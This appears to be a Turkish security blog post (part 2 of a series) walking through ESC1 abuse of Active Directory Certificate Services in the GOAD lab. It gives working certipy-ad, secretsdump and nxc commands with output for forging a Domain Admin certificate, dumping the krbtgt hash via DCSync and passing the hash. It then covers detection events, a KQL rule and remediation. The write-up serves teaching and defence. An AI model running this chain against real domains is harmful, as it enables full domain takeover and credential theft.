Series · 4 partsActive Directory Certificate ServicesPart 2 · You are here
- 1AD CS Bölüm 1: Mimari, Şablon Semantiği ve ESC Taksonomisi
- 2AD CS Bölüm 2: ESC1 İstismarı — RPC Hedefleme, PKINIT Kimlik Doğrulaması ve Orman Ele GeçirmeYou are here
- 3AD CS Bölüm 3: ESC4 ve ESC6 — Zafiyeti Kendin Yaratmak
- 4AD CS Bölüm 4: Kataloğun Geri Kalanı ve Nasıl Kilitleneceği
Saldırı Yüzeyine Genel Bakış: ESC1 Yapılandırma Hatası
Active Directory Certificate Services ortamlarında ESC1, düşük yetkili bir etki alanı kullanıcısından Domain Admin yetkisine uzanan en doğrudan yetki yükseltme vektörüdür. Bir sertifika şablonu aynı anda şu üç teknik koşulu sağladığında ortaya çıkar:
- Geniş Kayıt İzinleri (Enrollment Rights): Şablonun DACL’i
Authenticated UsersveyaDomain Usersgibi geniş kapsamlı gruplaraEnrollya daAutoEnrollyetkisi verir. - Kaydolanın Subject’i Belirlemesi: Şablonun
mspki-certificate-name-flagözniteliği0x00010000(CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) bayrağını içerir. Bu bayrak CA’ya, SAN’ı talep edenin Active Directory nesnesinden üretmek yerine sertifika imzalama isteğinde (CSR) gönderilen keyfiSubject Alternative Name(SAN) değerini kabul etmesini söyler. - İstemci Kimlik Doğrulama EKU’su: Şablonun
pKIExtendedKeyUsagealanındaClient Authentication(1.3.6.1.5.5.7.3.2) veyaSmart Card Logon(1.3.6.1.4.1.311.20.2.2) OID’i tanımlıdır. Bu sayede üretilen sertifika RFC 4556 Kerberos PKINIT alışverişinde kullanılabilir.
Bu koşullar bir araya geldiğinde kimliği doğrulanmış herhangi bir principal, Tier-0 yöneticisinin kimliğini ([email protected]) belirten geçerli bir X.509 sertifikası isteyebilir, bu sertifikayı KDC’ye sunabilir ve tam yönetici ayrıcalıklarına sahip geçerli bir TGT alabilir. Buradaki tehlike, tek bir yanlış şablon bayrağının parola, hash veya karmaşık bir ACL zinciri gerektirmeden doğrudan orman yöneticiliğine kapı açmasıdır.
1. Aşama: RPC Uç Noktası Çözümlemesi ve Sertifika Kaydı
essos.local ortamına karşı ilk testlerde, Domain Controller’a yöneltilen standart bir sertifika isteği RPC hatasıyla sonuçlanır:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
-upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
Protokol Mekaniği: ept_s_not_registered Hatası Neden Olur?
Windows İstemci-Sertifika Otoritesi protokolü ([MS-WCCE]), RPC (ncacn_ip_tcp) üzerinden çalışır. Bu protokolde süreç şöyledir:
- İstemci, belirtilen hedef IP’nin (
192.168.56.12, Domain ControllerMEEREEN) TCP135portundaki RPC Endpoint Mapper (EPM) servisine bağlanır. - İstemci,
ICertRequestD2arayüz UUID’si için dinamik yüksek port bağlamasını ister:UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE Version: 0.0 ESSOS-CA, Domain Controller yerineBRAAVOS(192.168.56.23) üye sunucusunda barındırıldığı için Domain Controller’ın endpoint mapper’ı0x000006D9(ept_s_not_registered) durum kodunu döndürür.
Yani istek doğru CA adını taşısa da yanlış makineye sorulmuştur. Bu hata, CA’nın nerede barındığını bilmenin neden önemli olduğunu gösterir: sertifika isteği Domain Controller’a değil, certsvc servisinin gerçekten çalıştığı host’a gitmelidir. Bu sorunu çözmek için istemci, -target parametresiyle RPC isteğini certsvc servisinin gerçekten çalıştığı sunucuya yönlendirmelidir:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
-upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'
CA isteği işler, [email protected] değerini Subject Alternative Name (szOID_SUBJECT_ALT_NAME2, 2.5.29.17) olarak gömer, sertifikayı kendi özel anahtarıyla imzalar ve istemci için üretilen özel anahtarla birlikte PKCS#12 (.pfx) arşivi olarak döndürür. Çıktıdaki Certificate has no object SID satırı ilerideki aşama için kritik olacaktır.
2. Aşama: PKINIT Ön Doğrulaması ve Zayıf UPN Eşlemesi
daenerys.targaryen.pfx yerel diske kaydedildikten sonra, sertifikanın PKINIT (RFC 4556) üzerinden bir Kerberos Ticket Granting Ticket ile değiştirilmesi gerekir:
$ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
Zayıf Bağlama (Weak Binding) Ayrıntısı
Kayıt çıktısındaki Certificate has no object SID ifadesi rastgele bir uyarı değildir. ESC1 şablonu mspki-enrollment-flag içinde 0x00080000 (CT_FLAG_NO_SECURITY_EXTENSION) bayrağını taşıdığı için sertifikada Microsoft’a özgü szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) uzantısı bulunmaz. Bu uzantı normalde sertifikayı belirli bir dizin nesnesine kriptografik olarak bağlar.
Sertifikada gömülü bir nesne SID’si olmadığında:
- Yamasız ya da orta düzeyde yapılandırılmış Domain Controller’larda (
StrongCertificateBindingEnforcement = 0veya1), KDC, SAN içindeki UPN’i ([email protected]) doğrudan LDAPuserPrincipalNameözniteliğiyle eşleştirmeye geri döner. - KDC bu eşleşmeyi kabul eder,
daenerys.targaryeniçin PAC üretir veAS-REPiçinde geçerli bir TGT döndürür. - Certipy, bilet alışverişinde dönen PAC önbellek verisinden kullanıcının NT hash’ini çıkarır:
34534854d33b398b66684072224bb47a.
KDC üzerinde StrongCertificateBindingEnforcement = 2 yapılandırılmış olsaydı, sertifika doğrulanabilir bir nesne SID uzantısı taşımadığı için kimlik doğrulama KDC_ERR_CLIENT_NAME_MISMATCH hatasıyla reddedilirdi. Bu ayrım, aynı sertifikanın neden bir ortamda çalışıp başka bir ortamda çalışmadığını açıklar. Kısacası sertifika burada parolanın yerine geçen bir kimlik bilgisi gibi davranır; onu hangi hesaba bağladığınız, saldırının başarısını belirler.
daenerys.targaryen'e UPN ile eşleyen bir PKINIT el sıkışması ve ormanı teslim eden bir DCSync.3. Aşama: DRSUAPI DCSync ile Etki Alanını Ele Geçirme
daenerys.targaryen bir Domain Admins üyesi olduğundan, hesabı etki alanı bölümünün kökü (DC=essos,DC=local) üzerinde dizin çoğaltma genişletilmiş haklarına sahiptir:
DS-Replication-Get-Changes(1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
Elde edilen NT hash ile impacket-secretsdump çalıştırarak DRSUAPI RPC işlevi DsGetNCChanges’i çağırır, bir Domain Controller çoğaltma isteğini taklit eder ve krbtgt hesabının hash’ini dökeriz:
$ impacket-secretsdump essos.local/[email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d:::
Tam Orman Erişiminin Doğrulanması
Dökülen krbtgt hash’i (7e486cbfb7d10ec86b7f8384f763d60d), essos.local içindeki herhangi bir kimlik adına Golden Ticket üretilmesine imkan tanır. Doğrudan yönetici yürütmesini kanıtlamak için secretsdump ayrıca yerleşik Administrator hash’ini (54296a48...) de döndürdü; bu hash ile SMB oturumu açmak erişimin gerçekten çalıştığını gösterir:
$ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local
SMB 192.168.56.12 445 MEEREEN [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!)
Tüm ele geçirme zinciri tek bir yetkisiz RPC sertifika isteğiyle tamamlandı. Parola kırma, Kerberoasting veya karmaşık çok adımlı ACL yürüyüşleri gerekmedi. Bu da ESC1’in neden bu kadar tehlikeli olduğunu özetler: Saldırganın ihtiyaç duyduğu tek şey, yanlış yapılandırılmış bir şablona kaydolma hakkıdır.
Tespit Mühendisliği ve İyileştirme
Adli İzler ve Olay İmzaları
| Event ID | Kaynak | Açıklama | İncelenecek Kritik Alanlar |
|---|---|---|---|
4886 | Active Directory CS | Sertifika talebi alındı | Talep eden hesap (missandei), şablon adı (ESC1), istenen öznitelikler (SAN: [email protected]). |
4887 | Active Directory CS | Sertifika verildi | Subject Alternative Name’in talep edenin kimliğiyle uyuşmaması. |
4768 | Kerberos KDC | PKINIT ile TGT istendi | Pre-Authentication Type = 16, Hedef Hesap = Tier-0 Yönetici (daenerys.targaryen). |
4662 | Dizin Servisi | Genişletilmiş haklara erişildi | Erişim Maskesi 0x100, DC olmayan bir IP’den DS-Replication-Get-Changes-All çağrısı. |
// KQL Rule: Flag Certificates Issued with SAN Divergence
SecurityEvent
| where EventID == 4887
| extend Requester = tostring(parse_xml(EventData).Data[0].["#text"])
| extend SAN = tostring(parse_xml(EventData).Data[4].["#text"])
| extend Template = tostring(parse_xml(EventData).Data[2].["#text"])
| where Requester != "" and SAN != "" and Requester != SAN
| project TimeGenerated, Computer, Requester, SAN, Template
İyileştirme Protokolü
- Kaydolanın Belirlediği SAN Bayrağını Kaldırın:
Zafiyetli şablonu, subject bilgisini doğrudan Active Directory nesne özniteliklerinden üretecek şekilde değiştirin:
Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" ` -Replace @{'mspki-certificate-name-flag' = 0x0} - Güçlü Sertifika Bağlamayı Zorunlu Kılın (KB5014754):
Domain Controller’ları nesne SID doğrulamasını kesin olarak istemeye yapılandırın:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f - Kayıt İzinlerini Daraltın:
Client Authentication veya Smart Card Logon EKU’su belirten şablonların DACL’lerini denetleyin ve bu şablonlardan
Domain UsersileAuthenticated Usersgruplarını kaldırın. Bu izinler çoğu zaman “geçici” olarak eklenir ve sonra unutulur.
Kanıt ve sınırlar
ESC1 sertifika kaydı, PKINIT alışverişi ve ardından gelen DCSync, izole GOAD laboratuvarındaki ESSOS-CA (192.168.56.23) ve MEEREEN (192.168.56.12) üzerinde yürütülmüştür. Üretilen sertifikalar, özel anahtarlar ve dökülen hash’ler sentetik essos.local etki alanına aittir. Buradaki başarı, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, CT_FLAG_NO_SECURITY_EXTENSION ve zayıf sertifika bağlaması gibi kasıtlı laboratuvar yapılandırmalarına dayanır; üretim ortamlarında bu koşulların hepsi aynı anda bulunmayabilir.
Kaynaklar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- SpecterOps, Certified Pre-Owned: posts.specterops.io
- The Hacker Recipes, Certificate Templates: thehacker.recipes/ad/movement/adcs/certificate-templates
- Microsoft, Kerberos PKINIT Protocol Specification (RFC 4556): datatracker.ietf.org/doc/html/rfc4556
- MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649): attack.mitre.org/techniques/T1649/
- MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006): attack.mitre.org/techniques/T1003/006/
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

